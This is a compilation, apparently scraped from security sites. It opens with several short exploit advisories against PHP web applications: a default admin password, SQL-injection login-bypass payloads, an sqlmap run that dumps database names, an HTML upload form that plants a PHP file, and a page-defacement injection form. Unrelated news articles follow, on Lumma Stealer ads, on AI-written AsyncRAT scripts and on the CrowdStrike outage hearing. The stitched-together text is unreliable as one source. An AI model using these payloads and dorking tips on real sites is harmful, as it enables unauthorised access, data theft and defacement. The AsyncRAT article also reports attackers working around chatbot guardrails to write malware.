School Dormitory Management System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : School Dormitory Management System v1.0 Insecure Settings Vulnerability                                            || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://www.sourcecodester.com/user/257130/activity                                                                |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = admin123[+] https://www/127.0.0.1/yoruanwitness000webhostappcom/admin/?page=clientsGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

School Dormitory Management System 1.0 Insecure Settings

Sample Blog Site version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

**Sample Blog Site 1.0 SQL Injection**

**Sample Blog Site 1.0 SQL Injection**

Posted Sep 26, 2024

Authored by indoushka

Sample Blog Site version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection, bypass

SHA-256 | ff00fa017d6b2c496a8bf995f9b728c45edba03e76532f4e55d8dac49f2ca066

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**Sample Blog Site 1.0 SQL Injection**

    =============================================================================================================================================| # Title     : Sample Blog Site 1.0 auth by pass Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-simple-ims.zip                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : ' or 0=0 ##[+] http://127.0.0.1/blog/admin/index.php?page=homeGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Sample Blog Site 1.0 SQL Injection

Rupee Invoice System version 1.0 suffers from an arbitrary file upload vulnerability.

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| # Title     : Rupee Invoice System v1.0 Remote File Upload Vulnerability                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            |  
| # Vendor    : https://www.mayurik.com/                                                                                                    |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code uploads a executable malicious file remotely .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply . 

[+] infected file : phpinventory/php_action/createProduct.php.

[+] save code as poc.html .

<!DOCTYPE html>  
<html>  
<head>  
    <title>Create Product</title>  
</head>  
<body>  
    <form action="http://127.0.0.1/phpinventory/php_action/createProduct.php" method="POST" enctype="multipart/form-data">  
        <input type="hidden" name="currnt_date" value="100">

                <label for="productImage">Product Image:</label>  
        <input type="file" name="productImage" id="productImage" required><br><br>

        <input type="submit" name="create" value="Create">  
    </form>  
</body>  
</html>

[+] http://127.0.0.1/phpinventory/assets/myimages/dab.php

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

Rupee Invoice System 1.0 Arbitrary File Upload

Restaurant POS version 1.0 suffers from a remote SQL injection vulnerability.

    =============================================================================================================================================| # Title     : Restaurant POS v1.0 SQL injection Vulnerability                                                                             || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.hockeycomputindo.com/2021/05/restaurant-pos-source-code-free.html                                               |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : admin/deletestaff.php?staffID=1[+] E:\sqlmap>python sqlmap.py -u http://127.0.0.1/bangresto-main/admin/deletestaff.php?staffID=1 --risk=3 --level=5 --random-agent --user-agent -v3 --batch --threads=10 --dbs[+] ---   GET parameter 'staffID' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N   sqlmap identified the following injection point(s) with a total of 1823 HTTP(s) requests:---  Parameter: staffID (GET)    Type: error-based    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)    Payload: staffID=1 AND EXTRACTVALUE(5264,CONCAT(0x5c,0x71787a7171,(SELECT (ELT(5264=5264,1))),0x7162787071))    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: staffID=1 AND (SELECT 3481 FROM (SELECT(SLEEP(5)))frXm)---[22:32:22] [INFO] the back-end DBMS is MySQLweb application technology: PHP 8.0.30, Apache 2.4.58, PHPback-end DBMS: MySQL >= 5.1 (MariaDB fork)[22:32:22] [INFO] fetching database names[22:32:22] [INFO] starting 7 threads[22:32:22] [INFO] retrieved: 'bangresto'[22:32:22] [INFO] retrieved: 'cms'[22:32:22] [INFO] retrieved: 'phpmyadmin'[22:32:22] [INFO] retrieved: 'mysql'[22:32:22] [INFO] retrieved: 'test'[22:32:22] [INFO] retrieved: 'information_schema'[22:32:22] [INFO] retrieved: 'performance_schema'available databases [7]:[*] bangresto[*] ending @ 22:32:22 /2024-08-16/Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Restaurant POS 1.0 SQL Injection

Responsive Binary mlm version 3.2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    ====================================================================================================================================| # Title     : Responsive Binary mlm 3.2.0 Auth By PAss Vulnerability                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202312/kashipara.com_responsive-binary-mlm-zip.zip   |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : u&p = ' or 0=0 ##[+] http://127.0.0.1/responsive_binary_mlm/admin/admin_dashboard.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Responsive Binary mlm 3.2.0 SQL Injection

Responsive Billing sw System version 3.2.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

    =============================================================================================================================================| # Title     : Responsive Billing sw System 3.2.0 auth by pass Vulnerability                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202311/kashipara.com_responsive-billing-sw-zip.zip            |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : user & pass = ' or 0=0 ##[+] http://127.0.0.1/responsive_billing_sw/index.phpGreetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Responsive Billing sw System 3.2.0 SQL Injection

PHP SPM version 1.0 suffers from a WYSIWYG code injection vulnerability.

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| # Title     : php spm 1.0 WYSIWYG code injection vulnerability                                                                            |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://www.kashipara.com/project/download/project2/user/2023/202305/kashipara.com_php-spms-zip.zip                         |  
=============================================================================================================================================

poc :

[+] This payload injects code of your choice into the welcome page or about via TinyMCE is a WYSIWYG editor V: 7.3.0 which is called inside the file /php-spms/classes/Master.php . 

   [+] Line 86 :  Set your Target.

[+] Line 27 :  set your payload.  <textarea name="page[welcome] ===> You can type welcome or about.

[+] save payload as poc.html

[+] payload : 

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>Welcome Page Editor</title>  
    <script src="https://cdn.tiny.cloud/1/dsrqgwhljvccmtuu414smiyefdarsp88j5fxk0uks60iek04/tinymce/7/tinymce.min.js" referrerpolicy="origin"></script>  
</head>  
<body>  
    <main id="main" class="main">  
        <div class="pagetitle">  
          <h1>Welcome Page</h1>  
          <nav>  
              <ol class="breadcrumb">

                             <li class="breadcrumb-item active">Welcome Page</li>  
              </ol>  
          </nav>  
        </div>

        <div id="msg-container"></div>

                <div class="card rounded-0">  
          <div class="card-body rounded-0 pt-4">  
            <div class="container-fluid">  
              <form id="page-form">  
                <textarea name="page[welcome]" cols="30" rows="10" class="form-control tinymce-editor" required>Hacked By indoushka ;</textarea>  
              </form>  
            </div>  
          </div>  
          <div class="card-footer">  
            <div class="col-lg-4 col-md-5 col-sm-10 col-12 mx-auto">  
              <button class="btn btn-block w-100 btn-primary" form="page-form">Update</button>  
            </div>  
          </div>  
        </div>

        <div id="loader" style="display:none;">Loading...</div>  
        <div id="toast"></div>

        <script>  
            // Initialize TinyMCE  
            tinymce.init({  
                selector: 'textarea.tinymce-editor',  
                height: 300,  
                menubar: false,  
                plugins: [  
                  'advlist autolink lists link image charmap print preview anchor',  
                  'searchreplace visualblocks code fullscreen',  
                  'insertdatetime media table paste code help wordcount'  
                ],  
                toolbar: 'undo redo | formatselect | bold italic backcolor | ' +  
                         'alignleft aligncenter alignright alignjustify | ' +  
                         'bullist numlist outdent indent | removeformat | help'  
            });

            // Loader functions  
            function start_loader() {  
                document.getElementById('loader').style.display = 'block';  
            }

            function end_loader() {  
                document.getElementById('loader').style.display = 'none';  
            }

            // Toast function  
            function showMessage(message, type) {  
                const messageDiv = document.getElementById('toast');  
                messageDiv.innerHTML = `<div class="alert alert-${type}">${message}</div>`;  
                setTimeout(() =>        {  
                    messageDiv.innerHTML = '';  
                }, 3000);  
            }

            // Form submit event listener  
            document.getElementById('page-form').addEventListener('submit', function(e) {  
                e.preventDefault(); // Prevent page reload

                // Start loader  
                start_loader();

                const formData = new FormData(this); // Get form data  
                const xhr = new XMLHttpRequest(); // Create new XMLHttpRequest object

                // Set up request  
                xhr.open('POST', 'http://localhost/php-spms/classes/Master.php?f=save_page', true);

                // Handle response  
                xhr.onreadystatechange = function() {  
                    if (xhr.readyState === XMLHttpRequest.DONE) {  
                        end_loader();  
                        if (xhr.status === 200) {  
                            const response = JSON.parse(xhr.responseText);  
                            if (response.status === 'success') {  
                                showMessage('Page updated successfully!', 'success');  
                                location.reload(); // Reload the page if successful  
                            } else if (response.status === 'failed' && response.msg) {  
                                showMessage(response.msg, 'error');  
                            } else {  
                                showMessage('An unknown error occurred.', 'error');  
                            }  
                        } else {  
                            showMessage('Error: ' + xhr.statusText, 'error');  
                        }  
                    }  
                };

                // Send the request  
                xhr.send(formData);  
            });  
        </script>  
    </main>  
</body>  
</html>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

PHP SPM 1.0 WYSIWYG Code Injection

League of Legends fans beware! A new malware campaign targeting the League of Legends World Championship is spreading…

League of Legends fans beware! A new malware campaign targeting the League of Legends World Championship is spreading rapidly.  Learn how to protect yourself from the Lumma Stealer virus and keep your gaming experience safe.

As the League of Legends (LoL) World Championship heats up (Sept 23–Nov 2, 2024), cybercriminals are taking the opportunity to target unsuspecting fans with malware campaigns. A recent report from Bitdefender Labs warns of a new threat targeting gamers across Europe and has already claimed around 4,000 victims, mostly male adults. 

The malicious campaign is exploiting the excitement surrounding the global esports event. The scam involves carefully crafted social media advertisements that lure fans into downloading what appears to be a legitimate League of Legends game. It is worth noting that the game is already free to play and this is just a trick to lure users. 

One of the malicious League of Legends ads on Facebook discovered by Bitdefender

When the download button is clicked, Lumma Stealer malware is installed, allowing criminals to extract sensitive information such as credit card information, passwords, crypto wallets, and browser session cookies. 

The scam was discovered by Bitdefender Labs’ researcher Ionut Baltariu. As per their findings shared with Hackread.com ahead of publishing on Wednesday, the attackers are using social media platforms to reach League of Legends enthusiasts with ads that promise a free download of the game. Those who fall for the ad are directed to a page mimicking an older version of the League of Legends download page crafted using typosquatting to make it harder to detect.

After clicking the download link, they are directed to a Bitbucket repository containing a malicious archive. The downloaded archive contains an executable and a legitimate Windows file, user32.dll, which serves as a dropper for Lumma Stealer, a dangerous malware part of the MaaS (Malware-as-a-Service) economy. 

****The Lumma Stealer Threat:****

Lumma Stealer is a powerful data-stealing malware capable of extracting sensitive information from infected devices. Cybercriminals can steal steal social media accounts, and sell stolen data on underground markets, facilitating identity theft and phishing attacks. Also, Lumma injects itself into a legitimate Windows process, bitlockertogo.exe, to remain undetected by antivirus software.

To protect yourself from cybercriminals during the League of Legends World Championship, follow these precautions: double-check website URLs, download from official sources like the official website or Steam, be cautious of online ads that seem too good to be true, and use a strong security solution like a reputable antivirus and security suite. Stay alert against cybersecurity risks to have a safe gaming experience.

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Fake League of Legends Download Ads Spread Lumma Stealer Malware

Researchers have uncovered one of the first examples of threat actors using artificial intelligence chatbots for malware creation, in a phishing attack spreading the open source remote access Trojan.

Source: Irene R via Shutterstock

Threat actors have used generative artificial intelligence (GenAI) to write malicious code in the wild to spread an open source remote access Trojan (RAT). It's one of the first observed examples of attackers weaponizing the chatbot technology for this purpose.

Researchers from HP Wolf Security have found evidence of the campaign, in which the attackers used GenAI to help them write VBScript and JavaScript code that was then used to distribute the AsyncRAT, an easily accessible, commercial malware that can be used for controlling a victim's computer.

The researchers first noticed the behavior when investigating a suspicious email in June. It had "an unusual French email attachment" posing as an invoice, HP Wolf Security revealed in its "Threat Insights Report" (PDF) for this month. The researchers ultimately discovered a campaign that was using both scripting types — code that was not, as it usually is, obfuscated — to spread AsyncRAT.

"The scripts' structure, comments, and choice of function names and variables were strong clues that the threat actor used GenAI to create the malware," according to the report.

It's widely believed that attackers already have used GenAI to help them write more convincing phishing emails, but so far there has been little evidence of the use of the technology to write malicious code, largely because legitimate chatbot tools have guardrails that prevent malicious use. However, security experts have known since the advent of the technology that it was only a matter of time before threat actors would find a way around those gates, and malicious chatbot development is a phenomenon on the Dark Web.

Related:Dark Reading Confidential: The CISO and the SEC

The campaign demonstrates that attackers are quickly leveling up in their use of GenAI in a way that should put defenders on alert, the researchers noted. "The activity shows how GenAI is accelerating attacks and lowering the bar for cybercriminals to infect endpoints or malicious files before they even reach someone's inbox," according to the report.

**Investigating a Malicious Email Campaign**

Once the researchers discovered the disguised invoice, they dug deeper to find that the attachment was simply an HTML file which, when opened in the browser, asks for a password. At first they believed the threat to be an HTML-smuggling attack; however, it didn't behave the way other threats do in that the payload stored inside the HTML file was not encrypted inside an archive.

Instead, the file was encrypted within the JavaScript code itself, using the Advanced Encryption Standard (AES) and implementing it without making any mistakes. This meant that for researchers to decrypt the file, they needed the correct password.

Related:How Should CISOs Navigate the SEC Cybersecurity and Disclosure Rules?

Eventually, the research team brute-forced the correct password to the file and found that the decrypted archive contained a VBScript file that, when run, starts an infection chain that ultimately deploys the AsyncRAT. "The VBScript writes various variables to the Windows Registry, which are reused later in the chain," according to the report.

Part of that infection chain is the drop of a JavaScript file into the user directory that then reads a PowerShell script from the registry and injects it into a newly started PowerShell process. The PowerShell script then makes use of the other registry variables, and runs two more executables, which start the malware payload after injecting it into a legitimate process.

**Unpacking GenAI-Generated Scripts**

It was through a deeper analysis of both the VBScript and the JavaScript used in the infection chain that the researchers noticed that the code was not obfuscated, which seemed odd because code obfuscation is something attackers typically use to cover their tracks.

"In fact, the attacker had left comments throughout the code, describing what each line does — even for simple functions," according to the report. "Genuine code comments in malware are rare because attackers want to their make malware as difficult to understand as possible."

Related:Cybersecurity Success Hinges on Full Organizational Support, New CompTIA Report Asserts

This behavior and the scripts' structure, consistent comments for each function, and the choice of function names and variables, made it reasonably clear that the attacker used GenAI to develop the scripts, according to HP Wolf Security.

Now that threat actors are starting to harness GenAI in their attack strategies, defenders also should integrate the technology into their security posture to fight fire with fire. Organizations can use GenAI to recognize patterns of threats to identify unauthorized access or malicious intent before attackers have a chance to infiltrate an environment. Indeed, the same efficiencies that GenAI create in an attack flow for malicious actors also can be leveraged by defenders to make their jobs easier, the security researchers said.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

GenAI Writes Malicious Code to Spread AsyncRAT

The company said the rogue update that caused disruptions on a global scale resulted from a "perfect storm" of issues.

Source: wisely via Shutterstock

A contrite CrowdStrike executive this week described the company's faulty July 19 content configuration update that crashed 8.5 million Windows systems worldwide as resulting from a "perfect storm" of issues that have since been addressed.

Testifying before members of the House Committee on Homeland Security on Sept. 24, CrowdStrike's senior vice president, Adam Meyers, apologized for the incident and reassured the committee of steps the company has implemented since then to prevent a similar failure.

The House Committee called for the hearing in July after a CrowdStrike content configuration update for the company's Falcon Sensor caused millions of Windows systems to crash, triggering widespread and lengthy service disruptions for businesses, government agencies, and critical infrastructure organizations worldwide. Some have pegged losses to affected organizations from the incident to be in the billions of dollars.

**Chess Game Gone Awry**

When asked to explain the root cause for the incident, Meyers told the House Committee that the problem stemmed from a mismatch between what the Falcon sensor expected and what the content configuration update actually contained.

Essentially, the update caused Falcon Sensor to try and follow a threat detection configuration for which there were no corresponding rules on what to do. "If you think about a chessboard \[and\] trying to move a chess piece to someplace where's there's no square," Meyers said. "That's effectively what happened inside the sensor. This was kind of a perfect storm of issues."

CrowdStrike's validation and testing processes for content configuration updates did not catch the issue because this specific scenario had not occurred before, Meyers explained.

Rep. Morgan Luttrell of Texas characterized CrowdStrike's failure to spot the buggy update as a "very large miss," especially for a company with a large presence in government and critical infrastructure sectors. "You mentioned North Korea, China, and Iran \[and other\] outside actors are trying to get us every day," Luttrell said during the hearing. "We shot ourselves in the foot inside of the house," with the faulty update. Luttrell demanded to know what preventive measures CrowdStrike has implemented since July.

In his written testimony and responses to questions from committee members, Meyers listed several changes that CrowdStrike has implemented to prevent against a similar lapse. The measures include new validation and testing processes, more control for customers over how and when they receive updates, and a phased rollout process that enables CrowdStrike to quickly reverse an update if problems surface. Following the incident, CrowdStrike has also begun treating all content updates as code, meaning they receive the same level of scrutiny and testing as code updates.

**Multiple Changes**

"Since July 19, 2024, we have implemented multiple enhancements to our deployment processes to make them more robust and help prevent recurrence of such an incident — without compromising our ability to protect customers against rapidly-evolving cyber threats," Meyers said in written testimony.

Meyers defended the need for companies like CrowdStrike to be able to continue making updates at the kernel level of the operating system when committee members probed him about the potential risks associated with the practice. "I would suggest that while things can be conducted in user mode, from a security perspective, kernel visibility is certainly critical," he stated. In its root cause analysis of the incident, CrowdStrike noted that considerable work still needs to happen within the Windows ecosystem for security vendors to be able to issue updates directly to user space instead of the Windows kernel.

**Missing the Bigger Picture?**

But some viewed the hearing as not going far enough to identify and focus on some of the more significant takeaways from the incident. "To think of the July 19 outage as a CrowdStrike failure is simply wrong," says Jim Taylor, chief product and technology officer at RSA. "More than 8 million devices failed, and it's not CrowdStrike's fault that those didn't have backups built to withstand an outage, or that the Microsoft systems they were running couldn't default to on-premises backups," he notes.

The global outage was the result of organizations for years abdicating responsibility for building resilient systems and instead relying on a limited number of cloud vendors to carry out critical business functions. "Focusing on one company misses the forest for the trees," Meyers says. "I wish the hearing had done more to ask what organizations are doing to build resilient systems capable of withstanding an outage."

Grant Leonard, chief information security officer (CISO) of Lumifi, says one shortcoming of the hearing was overemphasis on the root cause of the outage and relatively less focus on lessons learned. "Questions about CrowdStrike's decision-making process during the crisis, their communication strategies with affected clients, and their plans for preventing similar incidents in the future would have provided more actionable insights for the industry," Leonard says. "Exploring these areas could help other companies improve their incident response protocols and quality assurance processes."

Leonard expects the hearing will result in a renewed emphasis on quality assurance processes across the cybersecurity industry. "We will likely see an uptick in solid reviews and trial runs of business continuity and disaster recovery plans," he says. The incident could also lead to a more cautious approach to auto-updates and patching across the industry, with companies implementing more rigorous testing protocols. "Additionally, it could prompt a reevaluation of liability and indemnity clauses in cybersecurity service contracts, potentially shifting the balance of responsibility between vendors and clients."

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

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